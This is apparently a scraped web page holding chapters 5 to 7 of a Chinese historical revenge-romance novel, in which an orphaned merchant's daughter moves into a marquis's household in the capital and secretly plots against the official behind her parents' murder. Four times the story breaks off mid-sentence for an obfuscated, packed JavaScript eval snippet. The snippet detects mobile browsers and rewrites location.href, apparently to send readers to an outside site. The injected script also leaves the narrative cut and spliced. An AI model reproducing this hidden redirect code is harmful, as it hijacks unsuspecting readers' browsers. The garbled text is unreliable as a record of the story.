“大郎君，翡韵阁那边传了消息，玉姑娘说还需些时辰才能准备妥当，过会儿便来拜见您。” 座上的中年男人留着短鬍，暗绿云纹锦袍，身量高，却瘦削，眉眼看得出年轻时的清俊，只是如今瞧着脸色不大好，眼下也有些青黑，像是劳累所致。 谢滨抬袖掩唇轻咳两声，如今快要深秋，天凉，京都又干燥，喉肺难免不适，他端起一旁的碗盏，饮了一口热梨汤，才开口，面上带着笑意： “女儿家好美，莫要催她。” “是。” 谢滨：“夫人今日能起身了？现在情况如何，新请的大夫怎么说？” 陈六：“回郎君，如夫人正在夫人房里陪着，齐大夫诊脉后说夫人的痰厥之症似有好转，但还需再观察些日子，又开了新的药方，如夫人已经着人按着药方去寻上好的药材了。” 谢滨点点头：“去把霖儿和嫣儿都叫来，今夜一同去润安堂用膳。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991695|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢文霖、谢文嫣，谢滨和高氏的一双儿女。 “是。” 玉怜脂到善启堂时，堂中已经进了三个人，一坐两站。 上首坐着的中年男人自然是谢滨，另外还有两个总角之年的孩子并肩站在堂中，此刻俱是低着头臊眉耷眼，只不过掩在袖子下的手正不老实，像是在打什么暗语。 谢滨看着面前无心向学的顽皮儿女，气得灌了好几口梨汤都压不下去胸口的闷意。 方才趁着玉怜脂还没到的一会子功夫，他便顺口考了他们几篇应是早已烂熟于心的文章，结果一问三不知。 再细究下去，这俩混世魔星竟然连之前已经背过的东西都忘了大半！ 差点没把他气得咳出血来。 “这几月夫子教你们的，是全都忘了？！”谢滨恨铁不成钢，一眼瞟去将谢文霖和谢文嫣的小动作尽收眼底，顿时更怒，狠狠一掌拍在案上。 “上学时不用心，如今站在我跟前也是这般作态，看来，是我平日太放纵你们了！” “从明日起，你们俩不准再在一处！我另请夫子，你们分开进学。” 站在堂中的龙凤双胎立时吓得一激灵，站在左侧的女孩明显更机敏，反应更快，一抬头，眼里竟然已经蓄满泪水，委屈得不行： “我们错了错了，好爹爹，别把我和哥哥分开！要打要罚嫣儿都认，以后一定好好听夫子的话，听爹爹的话，再也不敢了。” 说罢直接往下一跪，低声哭了起来，浑身颤抖，如同一棵风中颤抖的小树。 一旁的谢文霖显然没有妹妹深厚的功力，但好在还懂得些模仿大法，连忙跟着扑通跪下，虽然哭不出来，但还是不停地用袖子抹脸，发出诚意不足的假嚎声，不求一鸣惊人，但求蒙混过关。 玉怜脂站在门外默然看着，在谢滨扶额叹气，忍不住又要向龙凤胎发难的时候，她终于踏进门。 “……滨叔？”少女自门外走来，眉心轻蹙，眼中是泛起的水雾。 她的声音很细，带着哭意，像是紧张。 谢滨立刻抬头望过去，对上一双有些怯意的眼，还有一张美得让人窒息的脸。 他顿时怔住了。 不远处少女的眉眼是那么熟悉，肖似她的母亲，轮廓近乎一致。 戚脂在未出阁时便是名满江南的美人，当年多少儿郎掷千金、奉厚礼，只为一睹芳颜，博得佳人欢心。 只是最后让玉逢羲拔了头筹，抱得美人归。 而眼前的少女，容貌较之其母，竟还有过之而无不及。 当年的玉逢羲也是相貌俊朗的男儿，想来玉怜脂取父母之长，自然颜色更为出众，素青衣裙难掩娇丽。 朱粉不深匀，闲花淡淡春。 谢滨缓慢地站直身，看向玉怜脂的眼神有些恍惚惊讶：“你，你是怜脂……?一别多年，竟长这般大了……” 他离开苏州的时候，玉怜脂不过童龀，虽知道她定已大变模样，但人真站在眼前，还是让人有些难以置信。 玉怜脂轻轻抽泣一声，几步上前，竟是一下跪倒在地，朝谢滨深深一拜。 “请世叔受侄女一拜——” 谢滨猛地一震，连忙要将她扶起来：“好孩子，你这是做什么！快，快起来！” 没料想看着细弱的少女却颇有些固执，只流着泪摇头，恳恳诚挚： “世叔当受我此拜！爹爹娘亲登仙了，我是个没用的，求了官衙这些年，也没得个回信，找不着当初害了他们的贼人，没办法让他们九泉之下安宁。本只想守着祖辈留下的产业了此余生，却又不知打哪招来旧怨新仇，得罪了什么恶煞，追着要我这条命……亲朋故友无不视我为洪水猛兽，哪个敢收留?只有您不嫌我晦气倒运，愿意庇护我，此恩此德，侄女永世难忘——” 5. 亲事 谢滨闻言心中大恸，立时跟着红了眼眶，忆起昔年往事。 他虽是侯府长子，金尊玉贵，从不曾缺衣少食，但因着些陈年旧事，既不得父亲看重，也不得嫡母关怀，及冠后不久生母去世，他那时尚未定亲婚娶，便更没了牵挂，遂隐去身份，出京游历。 行至江南，与彼时还是玉氏少东家的玉逢羲相遇，引为知己，随后便在苏州安顿下来，立了一番事业。 七八载光阴瞬息而过，他和玉逢羲本已打算挑个吉日，入庙焚香上祭，结为异姓兄弟，不料世事无常，京城一封信急递过来，边关敌兵压境，先镇北侯已领兵出征，嫡母令他速速回京。 结拜之事便也不了了之。 自那以后他再也没有回过江南，与玉逢羲却也没断过书信往来，原本想着早晚有再见之时，谁知道，三年前他得到的最后一封回信，竟然是玉逢羲和戚脂的死讯。 平武十四年春，金陵南丹阳山庄首开竞宝会，江南各地行商云集，不料竞宝结束后，最先离开山庄的十八家大商队竟然相继遇劫。 最先与贼寇冲撞，拼力反抗的五支商队无一生还，尽数覆没，而后的十三支队伍直接缴械投降，舍财保命，全部人脱掉外袍，只着单衣离开山道。 劫杀之后，贼寇欲将尸首与堆积成小山的众多衣物一同焚烧，黑烟蔽日，竟又引来暴雨，一霎倾盆，所有罪证被冲入山下长河，再无踪迹可寻。 而玉家，就在那五支反抗被屠的大商队之中。 官府震动，然而所有幸存者都对此事讳莫如深，只说山匪势众，暴悍非常，逃脱时命他们全部闭眼躬身行走，违者斩杀，所以不知道究竟是哪个地界的大匪作乱。 直到现在，三年过去了，两江六府，那支山匪仿佛蒸发了一般，连根毫毛都找不到，官府也将此案列为悬案旧案，已是不再投入大量人力追查了。 谢滨望着眼前跪地拜他，满面泪水的玉怜脂，心疼她小小年纪便双亲尽丧，凶手逍遥法外，柔弱女儿家身体也不好，生有心疾，拖着病躯独自撑起家业已是不易，如今又被不知何来的仇家索命，约莫是想杀了她后把玉氏丰厚家产瓜分殆尽。 实在是可怜可叹。 “怜脂，来，起来，”谢滨伸手扶住她小臂，不由分说将她拉起来，“你既叫我一声世叔，往后便如我亲侄一般，一家人，谈什么谢。” “你爹爹人虽去了，必定还挂念你，只要在这京城，我保证，绝没有人敢再来加害于你！” “你就安心地住在侯府，你爹爹曾在信中说，待你长大，便为你挑个良善可靠之人，招赘为婿，延续香火，如今三年孝满，你来了京城，京中遍地都是好男儿，若有中意的，我便代你爹爹为你做主，一定为你寻门上好的亲事！” 如此，也算不负亡友情谊了。 玉怜脂捻着小帕擦净眼泪，破涕为笑，眼神里充满感激，但提起亲事，面薄的女儿家不免得有些羞红，轻声道：“滨叔为我着想，我都听滨叔的。” 谢滨欣慰地点点头：“好孩子。” 说罢，他眼神一转，移到后方跪在地上没了动静、眼观鼻鼻观心的龙凤胎身上，泄了口气，沉声道：“行了，都起来吧。” 谢文嫣、谢文霖如蒙大赦，但不敢笑出声，立马起身站好，一副乖巧无比的模样。 谢滨摇了摇头，显然心中还有气。 玉怜脂转过身，笑着开口：“滨叔，这便是文嫣、文霖吧。” 身后，关嬷嬷捧着两个镶玉宝匣走上来，显然是提前备下的礼。 玉怜脂边接过匣子，边对谢滨说：“我初来京城，也不知他们喜欢什么，只略备薄礼。” 见她拿出的那两个匣子精美非常，料想盒中之物定然不凡，谢滨正要说些什么，却被玉怜脂打断： “小时候滨叔送我的那些珍宝器物现下还好好留在我这呢，我不过送弟弟妹妹些小玩意儿，滨叔可不要拦我。” 她说话时几分佯怒，但语气完全不令人感到厌恶，再思及她话中珍藏旧日之礼的意思，反倒让人觉得真诚可爱。 “好好好，滨叔不拦着你。”谢滨笑道。 “来，”玉怜脂捧着两个匣子，挨个放到谢文嫣、谢文霖手中，“我比你们大了许多岁，从前不曾得见，也不知你们喜好，可不要嫌弃姐姐的见面礼。” 谢文嫣、谢文霖此时才小心翼翼地抬起头，随后捧着匣子，齐齐愣在当场。 玉怜脂看着眼前两张呆呼呼的小脸，忍不住笑起来，抬手在他们面前挥了挥。 谢滨站在一旁，眯起眼：“收了礼还不道谢，难道礼节也忘了?” 谢文嫣率先反应过来：“爹爹莫要冤枉我，是这位姐姐太好看，我忍不住多看几眼。” 随后捧着沉甸甸的匣子高兴道：“谢玉姐姐的礼！姐姐以后若想在京城各处游玩赏乐，尽管来唤我！” 俨然能说会道的鬼精灵一个。 旁边的谢文霖没有这样伶俐的口齿，红着脸低头喏喏道谢。 有玉怜脂进善启堂打了岔，先前谢滨要将谢文霖、谢文嫣分开进学的事自然而然按后再提。 谢文嫣抱着匣子，看向玉怜脂的双眼亮晶晶的。 今日不仅得了份厚礼，见了个仙子一般模样的姐姐，被父亲突袭考学问也有惊无险混过去了，没挨几下骂，更没挨罚，诶呀呀，真是吉日遇贵人，天天好运道。 此时，屋外，西院管事陈六跨了门槛进来，行了礼，对谢滨道： “主君，时辰到了。” 玉怜脂唇角弧度不变，垂眸静立一旁。 晚膳时间到了，这是她入京后第一顿宴席。 要见的是这镇北侯府地位最高的人，王老太君。席上还有角门处突兀遇上的那位镇北侯。 “嗯，备轿吧。”谢滨应声后，转头对身旁攥着帕子，似乎正压抑着紧张的玉怜脂低声安抚， “别怕，老太君虽然严厉，但并非蛮不讲理，我先前便已向她报备过你的事，你只要礼数周全，恭谨些，便不会有事的，放心。” 听罢这话，玉怜脂方才像是鼓足勇气，抬起头小声应答：“我晓得了，谢谢滨叔。” * 润安堂。 主位上，老妇人鹤发雪目，雍容尔雅，瞥了另一侧不苟言笑的男人一眼，开口道： “先前我同你说梅府幺娘的事，你思虑得如何了?” 谢砚深端起茶盏浅饮，没有说话。 王老太君面色不变，接着说：“梅府虽门第不高，起家不过数十载，但胜在不附势结党，与承王、睿王都无往来，雁伊那孩子我也着人打听过了，品貌才学都是好的。” “当年因为北境战事吃紧，那钟家……哼，道不同不相为谋，这才拖了你这些年。如今边关已定，你也回京一年有余，是时候该考虑了。我也老了，没那么多心力管事，这府里早晚要有人接手操持。” 谢砚深放下茶盏，淡声道：“母亲怎知，梅氏与钟氏会大有不同?” 话音落下，王老太君的眉心倏地压低。 京城众所皆知，先镇北侯谢晁膝下有两子，长子谢滨武功不济，次子谢砚深却是自幼天赋过人，十二便随父入军磨练，青出于蓝。 束发之时与太师府嫡长孙女定亲，只待郎君及冠，女郎及笄，便配成佳偶，结为连理。 只不过这门亲事才定下一年，北境告急，关外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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且钟府小姐钟芷兰当年的确对谢砚深有情意，还往谢府送过信，言道退亲之事绝非她本意，实是长辈之命不可违，愿候郎君归来。 此后果真拒了多门亲事，可见芳心一片。 但女有情郎无意，如今钟芷兰已过双十年华，谢府依旧没有与钟家修好的意思。 镇北侯府与钟府结亲本就不是为了成全男女之情，只不过是世族姻亲，当初既已退亲，等对方得势了又掉头再言好，做派未免有些难看，若真修好，京城内外定是流言蜚语不绝。 是以谢砚深不说，王老太君也早就将钟芷兰排在侯府主母的人选之外。 经此一遭再挑人，当然是要更谨慎十分。 王老太君深叹口气，说道：“我老婆子做不了你的主，选多少人，最后还是由你自己定下。过些日子府中摆宴，请了许多人，届时你也去相看相看。” 下月十六，王老太君六十大寿。 这回，谢砚深倒是应了，只是依旧无甚表情：“是。” 见他终于有了点正面反应，王老太君终于满意，只是嘴上还唠叨： “这么些年了，你房里连个伺候的都没有，我房里的英草、莲芯都是好的，指过去给你，你也不愿，成什么体统。” 谢砚深默然听着，并不答话。 他对男女之事一向不上心，清简寡欲多年已成习惯，否则也不会到现在连个通房侍婢也没有。 情爱i欲i念，无此意者要如何凭空生起? “大郎君到了。”屋外传来下人的传报声。 掀帘而起，寒风丝丝钻入，谢滨先一步进来，向老太君行了礼： “儿子给母亲请安。” 在他身后，一男一女两小童也紧跟着，乖巧脆声道：“请祖母安，请叔父安。” 再之后，一道纤弱的身影款款走上前，向座上两人行礼，规矩无一丝差错： “玉氏怜脂，请太夫人安，请侯爷安。” 谢砚深偏首过去，看见少女一袭柔色银莲青裙，身姿袅娜，此时微微垂首，莹白的耳垂坠着金玉耳珰，耳下泛起一层薄红。 或许是感知到了什么，她悄悄抬起眼，正对上他的目光。 6. 规矩 咚。 …… 玉怜脂心中猛地一跳，立时移开眼。 不为别的，实在是男人的眼神太过冷厉，或许他本无意惊她，只是随势一瞥，但他面容本就沉肃，加上沙场征战多年，自然气势逼人。 久戍人将老，连年的征战总会加快岁月的磨蚀，留下无言苍桑。 尽管谢砚深连而立都未过，面容依旧年轻，但他身上与年纪完全不符的威严之感绝对是京中所有同岁世族儿郎无法比拟的，比起久立朝堂的老臣也不遑多让。 更何况，他身量很高大，铜浇铁铸的英武，只是平静坐在那里，就压迫感十足了。 王老太君一看望去，瞧见不远处衣着素色却极度惹眼的少女，不由得眯起眼，定了一瞬，随后开口道： “都起来吧，大冷天的，先坐下喝杯热茶。” 谢滨当即应声，待他坐下后，谢文嫣、谢文霖才有所动作。 玉怜脂紧随其后，刚坐下饮了一口茶水，堂上又传来老妇人的声音： “这便是你先前同我说的那个孩子?” 玉怜脂抬起头，只见王老太君正朝着下座的谢滨说话，眼睛却直射向她。 她没有立刻出声，只是默默垂下眼，等着长辈们谈完话。 谢滨立刻回答：“是。这孩子在苏州守完三年孝，才应了我送去的信，启程来京。” “哦，是个孝顺孩子。今年几岁了?” “刚满十七。” 王老太君点点头，转而看向玉怜脂，微笑着摆了摆手：“来，上来，让我好好瞧瞧。” 玉怜脂站起身轻步走过去，朝王老太君再行一礼，随后把手放到老妇人朝她伸出的手心里。 王老太君拉着她坐下，仔细打量一番，眼中微闪： “你是叫怜脂吧。海棠胭脂色，果真是个美人。可曾许配人家?” 玉怜脂垂眼摇了摇头，轻声答道：“不曾。” 这时，谢滨接过话：“母亲，怜脂也到了年纪了，儿子预备着为她相看则个，因着是要招赘，最好没得多大本事，只求个老实本分，日后免生是非。” “招赘?”王老太君抓住了这两个字眼，随后眼中笑意深了几分。 谢滨低咳两声：“咳……是，这也是她双亲的意思。” 王老太君满意地点点头，握着玉怜脂的手拍了拍：“那是得好好相看，过些日子府里要摆宴，请了不少人来，你也跟着热闹热闹，到时候也能多打听些。” “有侯府在，想必不会有人敢轻慢于你。” 这算是愿意将她庇护在镇北侯府的名号下。 玉怜脂：“是，多谢太夫人。” “来，”王老太君又引着她转向左侧，“按辈分，你该管他也叫一声世叔。” 玉怜脂抬起头，果不其然正对上一直端坐着不做声的谢砚深。 她没有立刻说话，而是朝另一边的谢滨投去个眼神，在后者点了点头后，她才小心开口： “……深叔。” 声音很轻很软，幽幽地钻进男人的耳窍里。 谢砚深如常冷淡，应了一声，朝身后站着的贴身侍从示意一眼。 福明立时捧上一个大紫檀匣，外表没有花纹雕饰，瞧着没什么特别。 但东西是派什么用的毋庸置疑，既应了一声“世叔”，合该给些见面礼。 王老太君挑了挑眉，但随后又恢复如常，转头向近侧的侍女低声几句，后者转身离去，很快也带着几锦盘宝物回来。 “你初入府，听你滨叔说，你身子弱，是该给你多添置些物件的，日后有什么缺的，尽管与下头人说就是了。”王老太君说道。 玉怜脂没有虚意推诿，站起身先拜过座上老妇人：“怜脂谢过太夫人。” 随后转向另一边，对上男人的眼，盈盈笑道： “谢过深叔。” * 晚膳用过之后从润安堂出来，谢砚深和谢滨都还有政务要事，谢文嫣、谢文霖也有功课要做，打了声招呼后，玉怜脂自行回了翡韵阁。 翡韵阁中的下人都是方氏派来的，和她一同进府的只有关嬷嬷，其余苏州跟来的旧仆下船后在码头忙着卸行李等杂事，现下方才带着车队进了侯府。 玉怜脂入了寝屋，便坐到书案前处理玉家的账目，她如今是玉家仅存的独苗，自然她当家。 关嬷嬷在屋外头分配阁中差事，她年岁长，资历深，又是从小伺候主子的人，没有任何异议，她理所当然是这院子里管事的。 “……这院子里有头三桩规矩，你们全都要记好。”关嬷嬷冷声道， “这第一桩，也是最最要紧的一桩，院里决不能有腐臭腥恶之气，姑娘身子娇弱，闻不得这些，此事，你们都要放在心上。” “第二桩，放到姑娘面前的东西，无论是什么，都不能糜烂无状、形如块泥相混，姑娘喜洁，这院子里外，吃食衣物，都要干净齐整，不说赏心悦目，至少也该体体面面。” “第三桩，京城不似我们苏州湿润，但总归有落雨之时，凡是遇上闷热雨天，院中的人都要打起十二万分精神！姑娘有心疾，闷雨天最易犯，所以必得提前做足准备。” 院中乌压压站满了一片人，均是齐声应道：“是——” 关嬷嬷点了点头，又道：“大家从前不曾一块做事，如今一起伺候主子姑娘，自是有不少地方要磨合商量，但只要是用心了，主子都不会亏待人。” 说罢，朝旁拊掌，玉家跟来的小厮抬了满满一箩筐的小布袋，箩筐坠地，一片清脆细碎声响。 里头装的东西是什么，院中亮起的一双双眼睛已经表明了。 关嬷嬷：“伺候得好了，翡韵阁里，主子满意，咱们这些做奴仆的，也舒服。姑娘初到府中，是喜事一件，自然都有赏。” 随后，箩筐中的布袋被分空，不需多久，翡韵阁伺候新来的玉姑娘是件上好差事的消息便会在府中下人里传个遍。 关嬷嬷料理完了外头的事，端着乌黑的药汤推门而入。 “姑娘，到时辰喝药了，今个有山楂做的蜜饯。”在书案上放下托盘。 玉怜脂搁了笔，抬手捏着汤匙搅了搅那碗苦煞人的药，一句话不说，只朝着一旁的关嬷嬷眨巴眼。 老妇人很显然知道她是个什么脾性，瞪回去一眼，叹了口气：“姑娘呀，药凉了就不好了，听话啊，快，快喝。” 少女皱了皱鼻，认命地端起药碗，紧闭着眼，一饮而尽。 “咣当。”青瓷碗被放回盘子里，素白的手迅速伸向旁边的蜜饯，一把抓了两三颗塞进口中。 关嬷嬷好笑地摇了摇头，一边收拾，一边无意识地絮叨： “姑娘你这逃药的毛病可不好，良药苦口，本就是三日才喝一回，怎么还跟上刑似的……” “小时候哪次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991697|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得老爷夫人一起压着你才喝，不喝药病怎么能好得了……” “老爷夫人如今不在了，我老婆子想来也跟不了你一辈子，日后还是得有个贴心的人。” “今个，侯府里的老太君想是愿意为您择亲撑个腰呢，您也管镇北侯叫了声世叔，而且还有谢滨大人在，姑娘，若是议亲时有镇北侯府的名头压着，那可……” “嬷嬷。”一道软而冷的声音打断了她。 关嬷嬷此时方才像是惊醒过来，迅速转头看向右侧的少女。 玉怜脂唇角带笑，双眼水润、黑白分明，烛光映照下，竟有些阴寒逼人： “嬷嬷可别忘了，我们入京是做什么的。” 关嬷嬷一瞬间冷汗湿背，竟一时间说不出话。 眼前的少女是她看着长大的，在她心中，及笄前的玉怜脂一直都是天真无邪，纯善柔弱。 但三年前玉逢羲和戚脂的死讯传回来，玉氏商号震荡的时候，这个从来笑意盈盈的少女以雷霆手腕镇住了整个玉氏产业，铲除异己，扫平隐患。 外头全都以为那是玉氏商行二当家吕贯君的手笔。但他们宅内的人才知道，二当家虽赤胆忠心，干练有为，但手段远没到狠辣无情的地步，一切都是玉怜脂在操控。 玉逢羲以儒雅行善闻名，戚脂则是淑良端庄、灵思百变，两人都是温和之人，唯一的女儿自然也是出了名的心软、好脾气。 关嬷嬷一辈子待在玉氏，从未想过伺候的小主人真实的脾性与父母竟是完全相反，只不过她喜欢装，她似乎喜爱所有人都看不穿她伪装的样子。 关嬷嬷想了几十个日夜她这么做的理由，十几年不曝露一丝一毫，到底为什么。 后来玉怜脂亲自给了她答案—— “因为很好玩呀，而且阿爹阿娘喜欢我这样，”少女不明所以，但还是耐着性子解答，笑吟吟地说，“嬷嬷也可以试试，我一定装作不知道。” 那时的玉怜脂虽然伤心绝望，隐有心智不稳之象，但真正给了她最后一击的，还是后来的某个雨天。 “嬷嬷。”一声呼唤召回老妇人飘远的神思。 玉怜脂看着眼前脸色不太好的老妇人，挑眉道：“嬷嬷在听我说话么？” 关嬷嬷回过神，喉部动了动，垂下眼：“是我糊涂了，请姑娘责罚。” 玉怜脂定定地看着她，下一瞬脸上绽放出明媚的笑：“嬷嬷怎么这样说，我怎会罚您呢。” 她轻巧地站起身来，把老妇人的手从托盘上移开，随后一把抱住她。 “嬷嬷，我现在只有您陪着了。”少女把脸蛋贴在老妇人的颈窝处，完全是在撒娇， “只是我有时候控制不住我自己，嬷嬷不要讨厌我。” 听到“不要讨厌我”的时候，关嬷嬷心中猛地一揪，眼中已经溢满疼惜，抬手摸摸怀中少女的脸。 这是她看着长大的姑娘，若不是天命不佑，她也不会变成现在这样，若有错，那也是命的错，不是她的错。 “姑娘……”老妇人心疼无比。 玉怜脂从她怀里直起身，笑着拉过她的手：“不说这些了，侯爷送我的那个紫檀匣子我还没开呢，嬷嬷快把它拿过来，我想知道是什么。” 关嬷嬷轻出了口气，点了点头，随后端起托盘出门。 留在屋中的少女望着她离去的背影，眉梢轻抬一瞬，复又重新坐回书案前，低头开始写写勾勾。 7. 绸缪 谢砚深送的紫檀匣子方正厚重，木料上佳，没有加工雕刻，色泽泛着红亮，带有隐约木材清香。 玉怜脂移动盒盖，屋内为了明亮点起几十盏灯，烛光照下，紫檀匣中惊艳绚烂的翠蓝色如流水缓缓淌出，光影移转，这片奇绝的蓝也随之变换色泽，如梦似幻。 玉怜脂看着匣中堪称惊世之作的点翠头面，虽知道镇北侯出手必定大方，可她实实没有想到，会大方成这样。 她不是没见过点翠，她自己也有几件点翠的首饰。 但这匣子里的珊瑚金玉点翠头面，已经是足以传世的宝物，用材与工艺绝对都是顶级的，她手中的那几支江南名匠所造的点翠钗簪在它的面前，也只说得上一句劣品。 玉怜脂抬起手，一一抚过匣中分列的头面部件。 这套头面，单拆来佩戴都是十足体面的，如果要合在一起整套穿戴出门，那便非宫宴等盛大场合不能适配。 不过这份厚礼，恐怕也的确不是民间之物。 思及此，少女不由得发出一声低笑。 一旁站着的关嬷嬷也愣了，好半晌才说出话来：“这，侯爷送这礼，未免太……” 原本王老太君给的东西已经是十分贵重了，但镇北侯的这份礼，简直让人无所适从。 “……深叔真是大方，”玉怜脂幽幽道，“只是男儿终究不如女子明白女子。” 王老太君送的东西虽然也很名贵，但她用起来是没问题的，可谢砚深的这套头面，她压根戴不出去。 招摇至极，惹眼至极。 一个不小心，说不定还会引火上身，多出些不必要的麻烦。 “嬷嬷，将它好好收起来吧，别被任何人看见。” “任何人”三个字她咬得尤为重。 这院子里，伺候她的除了玉氏旧仆，还有方氏派来的人，十有八九，应该还有王老太君的人。 大房毕竟是在侯府之中，后宅里自然无处不是老太君的眼线，很多事不是这位太夫人无法知道，更可能是她自己不想知道，或者无关紧要不必知道。 但这个“无关紧要”的界限大多数时候是由下头人揣摩。 很显然，镇北侯送了一套宫中出来的奇珍点翠头面给新进府的商贾女子这件事，绝对不在无关紧要的范围内。 如果这件事被王老太君知道了…… 玉怜脂想起今日那位太夫人听见她准备招赘之后才真心实意一些的微笑，垂下眼，将紫檀匣重重合上。 这位侯爷还真是会给她找事做，不声不响就送了个火雷过来。 她得罪他了？ 若是得罪，送她这份礼好像也说不通，谁会送一个厌恶的人这样珍贵的东西呢。 难不成他还真把她认作干侄女？ 他不过大她八岁而已，真喜欢当长辈，那也应当偏疼有血缘的谢文嫣谢文霖才是。再不济，谢氏旁支还有一大堆小辈呢，怎么想也轮不着她呀。 更何况，就算是差点与她爹爹结拜的谢滨，也不会轻易送她这么贵重的宝物。 玉怜脂细想与谢砚深的两次碰面，忽而发现她完全看不出男人的心情喜怒，他看她的眼神寒冰一样，跟他看其他人没什么区别。 实在想不通的事再思索也是徒增烦恼，她把紫檀匣子往关嬷嬷那边推过去，自己转身又回了书案。 “好生放着，内院的人除了您，谁也不能碰它，而且要时刻查验，别出什么纰漏。” “是，姑娘。” “对了，”玉怜脂执起笔，“人都准备好了吗？” 关嬷嬷瞥了一眼外头被玉氏小厮围守的房门，走近书案，俯身轻声道： “姑娘放心，两年前就已经按您的吩咐开始着手了，只不过公府、侯府、伯府这些地方选人实在严苛，我们的人进不去，但使足了银子，也送了不少人进下面一点的官员府邸，但是大多只能在外院洒扫，进了内院的只有约莫十来个人。” “京中各地人士来往密切的商行铺面里我们也送了人进去，若有什么重要的消息，第一时间便会来报。” 玉怜脂点点头：“柳府里送了几个？” 关嬷嬷：“姑娘放心，我们晓得厉害，送去柳府的都是最能干的，总共六个，有两个入了内院伺候柳知府的老父老母，另外四个在外头办差。” “好，”少女笑着说，“两江地界是这位柳启彦大人的地盘，我们寸步难行，这京城，他就有些鞭长莫及了。” 柳启彦，前任礼部尚书柳明觉之子，前任两江总督吴令锋之婿，金陵丹阳山庄劫杀案案发时任金陵知府。 也是这位知府大人，一手做主，压下了金陵劫杀案。 玉怜脂先前同谢滨说为破父母被杀之案央求官府、不断奔走不是假话，只不过，话只说了一半。 她怎么可能把希望全寄托在官府查案上，若是官府真的在意，会这么长时间连半点线索都找不到么。 案发第一年前三个月，玉氏派出去在金陵暗中探查的人少说上百，但却遇到了重重阻力，玉怜脂便肯定了自己的猜测，这件事绝对有鬼。 于是她选择另辟他径，不再在金陵地界打转，将探查范围扩大到整个两江。 随后，玉氏派遣出去的人，死的死，失踪的失踪，只有大约一半的人手安全回来，带回了一些接近真相的消息。 临近新年的时候，她前往父母墓前祭拜，结果马车忽然失控，险些翻入江中，幸好驾车的马夫是把好手，才没酿成大祸。 待到第二年，柳启彦不知何故被贬，远放黔地，那一年虽然她小祸不断，但也没再有什么大波折，还算安稳，只是查探依旧没有进展。 案发第三年，柳启彦复官，不久后调任苏州知府，暑夏之季，苏州玉宅突发大火，城中潜火队姗姗来迟。 不过巧的是，库房等重要地方没怎么烧，唯有宅中住寝院落付之一炬。 玉怜脂事先早有防备，再次逃过一劫，但那场火着实可怖，从小陪她长大的两个丫鬟双双重伤。 金陵惊天一案，说什么贼寇谋财，分明是官匪勾结，而那十三家闭口不言的幸存商队真是什么都不知道么，抑或是早就看清楚了某些事情？ 从那时起，她就知道，若是扳不倒柳启彦，扳不倒柳启彦背后层层密密的人脉联结，她就永远不可能有报仇雪恨的那一天。 而她自己，也迟早死无葬身之地。 柳启彦身在江南，但却出身京城，家族根脉也在京畿之地，已经致仕的父亲、岳丈也都在京城。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991698|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以，她入京了。 带着提早布下的罗网、玉石俱焚的决心。 即便没有谢滨，她也会来。 柳启彦有权，而她有财，权财相斗，实则她处于极劣势。 玉氏是从玉怜脂曾祖那一代发家的，兵荒马乱的年代，沾上了盐道，虽现在不碰了，但家底堪称雄厚。 只是玉家的根基毕竟在两江，受制于官府，柳启彦已经有了对玉氏商行下手的迹象，她不是没有察觉到。 只不过她不甚在意，她已经做好了倾家荡产的准备。 只要能得到她想要的结果，所有一切，什么荣华富贵锦衣玉食，哪怕是要她这条命，她也在所不惜。 “柳启彦的人还在吕叔那守着么?”玉怜脂淡淡道。 关嬷嬷：“守着，这些年换了十几拨人，但一直没放弃，想跟着二当家找到夫人和老爷的尸身所在。” 玉怜脂闻言轻笑一声：“狗皮膏药。” “让吕叔不用管他们，只是定期去衣冠冢那里走一趟就是了。” “是。” 玉怜脂低眸沉吟片刻，又道：“王老太君下月十六做寿，每年摆宴前都一定会去京郊云山观上香祭拜老侯爷，初五是吉日，会定在那天，给京中几个管事的递信，我要见他们一面。” 谢滨晚膳后给她的消息，说是下月初五他和谢砚深正好休沐，整个侯府都会跟着老太君出行，让她也一同前去，也好给玉逢羲和戚脂立个牌位，供两盏长明灯。 玉怜脂当然答应了，临别前谢滨还特地再问过她心疾的事，确认过她只要按时服药便没有大碍，只是偶尔发作之后，才放下心。 关嬷嬷点了点头：“老奴明白，这就去安排。” * 主院。 谢砚深与谢滨议事完毕回到主院时已经夜深，院中灯火通明，守卫十步一岗。 主院管事忠伯正在主院正门处候着，远远迎上来行礼： “侯爷，水已经备好了，请您更衣。” 谢砚深脚步不停，走向浴房，忠伯说完之后依旧快步跟在他身后，似乎还有什么想说的。 